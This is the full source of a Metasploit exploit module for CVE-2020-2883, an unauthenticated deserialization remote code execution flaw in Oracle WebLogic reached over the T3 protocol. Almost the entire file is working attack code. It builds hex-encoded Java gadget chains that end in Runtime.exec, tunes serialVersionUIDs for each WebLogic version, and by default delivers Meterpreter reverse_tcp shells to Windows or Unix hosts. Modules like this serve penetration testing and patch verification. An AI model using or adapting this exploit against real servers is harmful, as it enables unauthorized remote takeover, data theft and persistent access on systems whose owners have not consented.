WebLogic Server Deserialization Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp',  
'Description' => %q{  
There exists a Java object deserialization vulnerability  
in multiple versions of WebLogic.  
  
Unauthenticated remote code execution can be achieved by  
sending a serialized `BadAttributeValueExpException`  
object over the T3 protocol to vulnerable versions of  
WebLogic. Leveraging an `ExtractorComparator` enables  
the ability to trigger `method.invoke()`, which will  
execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Quynh Le', # Vulnerability Discovery  
'Y4er', # PoC  
'Shelby Pace' # Metasploit Module  
],  
'References' =>  
[  
[ 'CVE', '2020-2883' ],  
[ 'URL', 'https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild' ],  
],  
'Platform' => %w[unix linux win],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Privileged' => false,  
'Targets' =>  
[  
[  
'Windows',  
{  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix',  
{  
'Platform' => %w[unix linux],  
'CmdStagerFlavor' => 'printf',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
],  
'DisclosureDate' => '2020-04-30',  
'DefaultTarget' => 0  
)  
)  
  
register_options([ Opt::RPORT(7001) ])  
end  
  
def check  
connect  
  
web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"  
sock.put(web_req)  
sleep(2)  
res = sock.get_once  
  
versions =  
[  
Gem::Version.new('12.1.3.0.0'), Gem::Version.new('12.2.1.3.0'),  
Gem::Version.new('12.2.1.4.0')  
]  
  
return CheckCode::Unknown('Failed to obtain response from service') unless res  
  
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res  
return CheckCode::Unknown('Failed to detect WebLogic') unless version  
  
@version_no = Gem::Version.new(version)  
print_status("WebLogic version detected: #{@version_no}")  
  
return CheckCode::Appears if versions.include?(@version_no)  
  
CheckCode::Detected('Version of WebLogic is not vulnerable')  
ensure  
disconnect  
end  
  
def exploit  
super  
  
connect  
print_status('Sending handshake...')  
t3_handshake  
  
if target.name == 'Windows'  
win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })  
win_obj.prepend('cmd.exe /c ')  
win_obj = build_payload_obj(win_obj)  
t3_send(win_obj)  
else  
execute_cmdstager  
end  
ensure  
disconnect  
end  
  
def t3_handshake  
# t3 12.2.1\nAS:255  
# \nHL:19\nMS:100000  
# 00\n\n  
shake = '74332031322e322e310a41533a323535'  
shake << '0a484c3a31390a4d533a313030303030'  
shake << '30300a0a'  
  
sock.put([shake].pack('H*'))  
sleep(1)  
sock.get_once  
end  
  
def build_payload_obj(payload_data)  
payload_obj = 'aced0005' # STREAM_MAGIC, STREAM_VERSION  
payload_obj << '73720017' # TC_OBJECT, TC_CLASSDESC, class name length: 23  
payload_obj << '6a6176612e7574696c2e5072696f726974795175657565' # java.util.PriorityQueue  
payload_obj << '94da30b4fb3f82b1' # SerialVersionUID  
payload_obj << '030002' # 2 fields  
payload_obj << '490004' # Integer, field name length: 4  
payload_obj << '73697a65' # size  
payload_obj << '4c000a' # Object, field name length: 10  
payload_obj << '636f6d70617261746f72' # comparator  
payload_obj << '740016' # String, field name length: 22  
payload_obj << '4c6a6176612f7574696c2f436f6d70617261746f723b' # Ljava/util/Comparator;  
payload_obj << '7870'  
payload_obj << '00000002'  
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC  
payload_obj << '0030' # Class name length: 48  
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e636f' # com.tangosol.util.comparator.ExtractorComparator  
payload_obj << '6d70617261746f722e457874726163746f72436f'  
payload_obj << '6d70617261746f72'  
payload_obj << extractor_comp_uid # SerialVersionUID  
payload_obj << '020001' # Serializable, 1 field  
payload_obj << '4c000b' # Object, field name length: 11  
payload_obj << '6d5f657874726163746f72' # m_extractor  
payload_obj << '740022'  
payload_obj << '4c636f6d2f74616e676f736f6c2f7574696c2f56' # Lcom/tangosol/util/ValueExtractor;  
payload_obj << '616c7565457874726163746f723b'  
payload_obj << '7870'  
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC  
payload_obj << '002c' # Class name length: 44  
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ChainedExtractor  
payload_obj << '74726163746f722e436861696e65644578747261'  
payload_obj << '63746f72'  
payload_obj << chained_extractor_uid # SerialVersionUID  
payload_obj << '020000'  
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC  
payload_obj << '0036' # Class name length: 54  
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractCompositeExtractor  
payload_obj << '74726163746f722e4162737472616374436f6d70'  
payload_obj << '6f73697465457874726163746f72'  
payload_obj << '086b3d8c05690f44' # SerialVersionUID  
payload_obj << '020001' # Serializable, 1 field  
payload_obj << '5b000c' # array, length: 12  
payload_obj << '6d5f61457874726163746f72' # m_aExtractor  
payload_obj << '740023' # String, length: 35  
payload_obj << '5b4c636f6d2f74616e676f736f6c2f7574696c2f' # [Lcom/tangosol/util/ValueExtractor;  
payload_obj << '56616c7565457874726163746f723b'  
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC  
payload_obj << '002d' # Class name length: 45  
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractExtractor  
payload_obj << '74726163746f722e416273747261637445787472'  
payload_obj << '6163746f72'  
payload_obj << abstract_extractor_uid # SerialVersionUID  
payload_obj << '020001' # Serializable, 1 field  
payload_obj << '490009' # Integer, field name length: 9  
payload_obj << '6d5f6e546172676574' # m_nTarget  
payload_obj << '7870'  
payload_obj << '00000000'  
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC  
payload_obj << '0023' # Class name length: 35  
payload_obj << '5b4c636f6d2e74616e676f736f6c2e7574696c2e' # [Lcom.tangosol.util.ValueExtractor;  
payload_obj << '56616c7565457874726163746f723b'  
payload_obj << '2246204735c4a0fe' # SerialVersionUID  
payload_obj << '020000'  
payload_obj << '7870'  
payload_obj << '00000003'  
payload_obj << '7372'  
payload_obj << '002f' # Class name length: 47  
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ReflectionExtractor  
payload_obj << '74726163746f722e5265666c656374696f6e4578'  
payload_obj << '74726163746f72'  
payload_obj << reflection_extractor_uid # SerialVersionUID  
payload_obj << '02000' # Serializable  
payload_obj << reflect_extract_count  
payload_obj << '5b0009' # array, length: 9  
payload_obj << '6d5f616f506172616d' # m_aoParam  
payload_obj << '740013' # String, length: 19  
payload_obj << '5b4c6a6176612f6c616e672f4f626a6563743b' # [Ljava/lang/Object;  
payload_obj << add_sect  
payload_obj << '4c0009' # Object, length: 9  
payload_obj << '6d5f734d6574686f64' # m_sMethod  
payload_obj << '740012' # String, length: 18  
payload_obj << '4c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;  
payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE  
payload_obj << '007e0009' # handle  
payload_obj << '00000000'  
payload_obj << '7572'  
payload_obj << '0013' # Class name length: 19  
payload_obj << '5b4c6a6176612e6c616e672e4f626a6563743b' # [Ljava.lang.Object;  
payload_obj << '90ce589f1073296c' # SerialVersionUID  
payload_obj << '020000'  
payload_obj << '7870'  
payload_obj << '00000002'  
payload_obj << '74000a' # String, length: 10  
payload_obj << '67657452756e74696d65' # getRuntime  
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC  
payload_obj << '0012' # Class name length: 18  
payload_obj << '5b4c6a6176612e6c616e672e436c6173733b' # [Ljava.lang.Class;  
payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID  
payload_obj << '020000' # Serializable, no fields  
payload_obj << '7870'  
payload_obj << '00000000'  
payload_obj << add_tc_null  
payload_obj << '740009' # String, length: 9  
payload_obj << '6765744d6574686f64' # getMethod  
payload_obj << '7371'  
payload_obj << '007e000d' # handle  
payload_obj << '00000000'  
payload_obj << '7571'  
payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle  
payload_obj << '00000002'  
payload_obj << '707571'  
payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle  
payload_obj << '00000000'  
payload_obj << add_tc_null  
payload_obj << '740006' # String, length: 6  
payload_obj << '696e766f6b65' # invoke  
payload_obj << '7371'  
payload_obj << '007e000d' # handle  
payload_obj << '00000000'  
payload_obj << '7571'  
payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle  
payload_obj << '00000001'  
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC  
payload_obj << '0013' # Class name length: 19  
payload_obj << '5b4c6a6176612e6c616e672e537472696e673b' # [Ljava.lang.String;  
payload_obj << 'add256e7e91d7b47' # SerialVersionUID  
payload_obj << '020000'  
payload_obj << '7870'  
payload_obj << '00000003'  
  
payload_bin = format_payload(payload_data)  
payload_obj << payload_bin  
  
payload_obj << add_tc_null  
payload_obj << '740004'  
payload_obj << '65786563' # exec  
payload_obj << '7704'  
payload_obj << '00000003'  
payload_obj << '76720011'  
payload_obj << '6a6176612e6c616e672e52756e74696d65' # java.lang.Runtime  
payload_obj << '0000000000000000000000'  
payload_obj << '7870'  
payload_obj << '740001'  
payload_obj << '3178'  
end  
  
def extractor_comp_uid  
case @version_no  
when Gem::Version.new('12.1.3.0.0')  
'c7ad6d3a676f3c18'  
when Gem::Version.new('12.2.1.3.0')  
'fb4ac83df1d72edc'  
else  
'f9b3bc58cc52cd21'  
end  
end  
  
def change_handle?  
@version_no == Gem::Version.new('12.2.1.3.0')  
end  
  
def chained_extractor_uid  
case @version_no  
when Gem::Version.new('12.1.3.0.0')  
'889f81b0945d5b7f'  
when Gem::Version.new('12.2.1.3.0')  
'06ee10433a4cc4b4'  
else  
'435b250b72f63db5'  
end  
end  
  
def abstract_extractor_uid  
case @version_no  
when Gem::Version.new('12.1.3.0.0')  
'658195303e723821'  
when Gem::Version.new('12.2.1.3.0')  
'752289ad4d460138'  
else  
'9b1be18ed70100e5'  
end  
end  
  
def reflection_extractor_uid  
case @version_no  
when Gem::Version.new('12.1.3.0.0')  
'ee7ae995c02fb4a2'  
when Gem::Version.new('12.2.1.3.0')  
'87973791b26429dd'  
else  
'1f62f564b951b614'  
end  
end  
  
def reflect_extract_count  
case @version_no  
when Gem::Version.new('12.2.1.3.0')  
'3'  
else  
'2'  
end  
end  
  
def add_sect  
sect = ''  
  
if @version_no == Gem::Version.new('12.2.1.3.0')  
sect << '4c0011' # Object, length: 17  
sect << '6d5f657874726163746f' # m_extractorCached  
sect << '72436163686564'  
sect << '740012'  
sect << '4c6a6176612f6c616e67' # Ljava/lang/Object;  
sect << '2f4f626a6563743b'  
end  
  
sect  
end  
  
def add_tc_null  
return '70' if @version_no == Gem::Version.new('12.2.1.3.0')  
  
''  
end  
  
def t3_send(payload_obj)  
print_status('Sending object...')  
  
request_obj = '000009f3' # Original packet length  
request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags  
request_obj << 'ffffffffffffffff'  
request_obj << '00000071'  
request_obj << '0000ea60'  
request_obj << '00000018432ec6'  
request_obj << 'a2a63985b5af7d63e643'  
request_obj << '83f42a6d92c9e9af0f94'  
request_obj << '72027973720078720178'  
request_obj << '720278700000000c0000'  
request_obj << '00020000000000000000'  
request_obj << '00000001007070707070'  
request_obj << '700000000c0000000200'  
request_obj << '00000000000000000000'  
request_obj << '01007006'  
request_obj << 'fe010000' # separator  
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION  
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC  
request_obj << '001d' # Class name length: 29  
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry  
request_obj << '6a766d2e436c61737354'  
request_obj << '61626c65456e747279'  
request_obj << '2f52658157f4f9ed' # SerialVersionUID  
request_obj << '0c0000' # flags?  
request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC  
request_obj << '0024' # Class name length: 36  
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo  
request_obj << '6f6d6d6f6e2e696e7465'  
request_obj << '726e616c2e5061636b61'  
request_obj << '6765496e666f'  
request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID  
request_obj << '020009' # Serializable, 9 fields  
request_obj << '490005' # Field type: Int, field name length: 5  
request_obj << '6d616a6f72' # major  
request_obj << '490005' # Field type: Int, field name length: 5  
request_obj << '6d696e6f72' # minor  
request_obj << '49000b' # Field type: Int, field name length: 11  
request_obj << '70617463685570646174' # patchUpdate  
request_obj << '65'  
request_obj << '49000c' # Field type: Int, field name length: 12  
request_obj << '726f6c6c696e67506174' # rollingPatch  
request_obj << '6368'  
request_obj << '49000b' # Field type: Int, field name length: 11  
request_obj << '73657276696365506163' # servicePack  
request_obj << '6b'  
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14  
request_obj << '74656d706f7261727950' # temporaryPatch  
request_obj << '61746368'  
request_obj << '4c0009' # Field type: Object, field name length: 9  
request_obj << '696d706c5469746c65' # implTitle  
request_obj << '740012' # String, length: 18  
request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;  
request_obj << '2f537472696e673b'  
request_obj << '4c000a' # Field type: Object, field name length: 10  
request_obj << '696d706c56656e646f72' # implVendor  
request_obj << '71007e0003' # TC_REFERENCE, handle  
request_obj << '4c000b' # Field type: Object, field name length: 11  
request_obj << '696d706c56657273696f6e' # implVersion  
request_obj << '71007e0003' # TC_REFERENCE, handle  
request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL  
request_obj << '7702' # TC_ENDBLOCKDATA  
request_obj << '000078'  
request_obj << 'fe010000' # separator  
  
request_obj << payload_obj  
  
request_obj << 'fe010000' # separator  
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION  
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC  
request_obj << '001d' # Class name length: 29  
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry  
request_obj << '6a766d2e436c61737354'  
request_obj << '61626c65456e747279'  
request_obj << '2f52658157f4f9ed' # SerialVersionUID  
request_obj << '0c0000'  
request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC  
request_obj << '0021' # Class name length: 33  
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo  
request_obj << '6f6d6d6f6e2e696e7465'  
request_obj << '726e616c2e5065657249'  
request_obj << '6e666f'  
request_obj << '585474f39bc908f1' # SerialVersionUID  
request_obj << '020007' # Serializable, 7 fields  
request_obj << '490005' # Field type: Int, field name length: 5  
request_obj << '6d616a6f72' # major  
request_obj << '490005' # Field type: Int, field name length: 5  
request_obj << '6d696e6f72' # minor  
request_obj << '49000b' # Field type: Int, field name length: 11  
request_obj << '70617463685570646174' # patchUpdate  
request_obj << '65'  
request_obj << '49000c' # Field type: Int, field name length: 12  
request_obj << '726f6c6c696e67506174' # rollingPatch  
request_obj << '6368'  
request_obj << '49000b' # Field type: Int, field name length: 11  
request_obj << '73657276696365506163' # servicePack  
request_obj << '6b'  
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14  
request_obj << '74656d706f7261727950' # temporaryPatch  
request_obj << '61746368'  
request_obj << '5b0008' # Field type: Array, field name length: 8  
request_obj << '7061636b61676573' # packages  
request_obj << '740027' # String, length: 39  
request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;  
request_obj << '2f636f6d6d6f6e2f696e'  
request_obj << '7465726e616c2f506163'  
request_obj << '6b616765496e666f3b'  
request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC  
request_obj << '0024' # Class name length: 36  
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo  
request_obj << '6f6d6d6f6e2e696e7465'  
request_obj << '726e616c2e5665727369'  
request_obj << '6f6e496e666f'  
request_obj << '972245516452463e' # SerialVersionUID  
request_obj << '020003' # Serializable, 3 fields  
request_obj << '5b0008' # Field type: Array, field name length: 8  
request_obj << '7061636b61676573' # packages  
request_obj << '71007e0003' # TC_REFERENCE, handle  
request_obj << '4c000e' # Field type: Object, field name length: 14  
request_obj << '72656c65617365566572' # releaseVersion  
request_obj << '73696f6e'  
request_obj << '740012' # String, length: 18  
request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;  
request_obj << '2f537472696e673b'  
request_obj << '5b0012' # Field type: Array, field name length: 18  
request_obj << '76657273696f6e496e66' # versionInfoAsBytes  
request_obj << '6f41734279746573'  
request_obj << '740002' # String, length: 2  
request_obj << '5b42' # [B  
request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC  
request_obj << '0024' # Class name length: 36  
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo  
request_obj << '6f6d6d6f6e2e696e7465'  
request_obj << '726e616c2e5061636b61'  
request_obj << '6765496e666f'  
request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID  
request_obj << '020009' # Serializable, 9 fields  
request_obj << '490005' # Field type: Int, field name length: 5  
request_obj << '6d616a6f72' # major  
request_obj << '490005' # Field type: Int, field name length: 5  
request_obj << '6d696e6f72' # minor  
request_obj << '49000b' # Field type: Int, field name length: 11  
request_obj << '70617463685570646174' # patchUpdate  
request_obj << '65'  
request_obj << '49000c' # Field type: Int, field name length: 12  
request_obj << '726f6c6c696e67506174' # rollingPatch  
request_obj << '6368'  
request_obj << '49000b' # Field type: Int, field name length: 11  
request_obj << '73657276696365506163' # servicePack  
request_obj << '6b'  
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14  
request_obj << '74656d706f7261727950' # temporaryPatch  
request_obj << '61746368'  
request_obj << '4c0009' # Field type: Object, field name length: 9  
request_obj << '696d706c5469746c65' # implTitle  
request_obj << '71007e0005' # TC_REFERENCE, handle  
request_obj << '4c000a' # Field type: Object, field name length: 10  
request_obj << '696d706c56656e646f72' # implVendor  
request_obj << '71007e0005' # TC_REFERENCE, handle  
request_obj << '4c000b' # Field type: Object, field name length: 11  
request_obj << '696d706c56657273696f' # implVersion  
request_obj << '6e'  
request_obj << '71007e0005' # TC_REFERENCE, handle  
request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL  
request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA  
request_obj << 'fe00ff' # separator  
request_obj << 'fe010000'  
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION  
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC  
request_obj << '0013' # Class name length: 19  
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID  
request_obj << '6a766d2e4a564d4944'  
request_obj << 'dc49c23ede121e2a' # SerialVersionUID  
request_obj << '0c0000'  
request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA  
request_obj << '4621'  
request_obj << '000000000000000000'  
request_obj << '09' # length: 9  
request_obj << '3132372e302e312e31' # 127.0.1.1  
request_obj << '000b' # length: 11  
request_obj << '75732d6c2d627265656e' # us-l-breens  
request_obj << '73'  
request_obj << 'a53caff10000000700'  
request_obj << '001b59'  
request_obj << 'ffffffffffffffffffff'  
request_obj << 'ffffffffffffffffffff'  
request_obj << 'ffffffff'  
request_obj << '0078'  
request_obj << 'fe010000' # separator  
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION  
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC  
request_obj << '0013' # Class name length: 19  
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID  
request_obj << '6a766d2e4a564d4944'  
request_obj << 'dc49c23ede121e2a' # SerialVersionUID  
request_obj << '0c0000'  
request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA  
request_obj << '1d0181401281'  
request_obj << '34bf427600093132372e'  
request_obj << '302e312e31a53caff1'  
request_obj << '000000000078'  
  
new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')  
request_obj[0, 8] = new_len  
  
sock.put([request_obj].pack('H*'))  
sleep(1)  
end  
  
def format_payload(payload_cmd)  
print_status('Formatting payload...')  
payload_arr = payload_cmd.split(' ', 3)  
  
formatted_payload = ''  
payload_arr.each do |part|  
formatted_payload << '74' # denotes a string  
formatted_payload << part.length.to_s(16).rjust(4, '0')  
formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join  
end  
  
formatted_payload  
end  
  
def execute_command(cmd, _opts = {})  
cmd.prepend('/bin/sh -c ')  
cmd = build_payload_obj(cmd)  
  
t3_send(cmd)  
end  
end  
`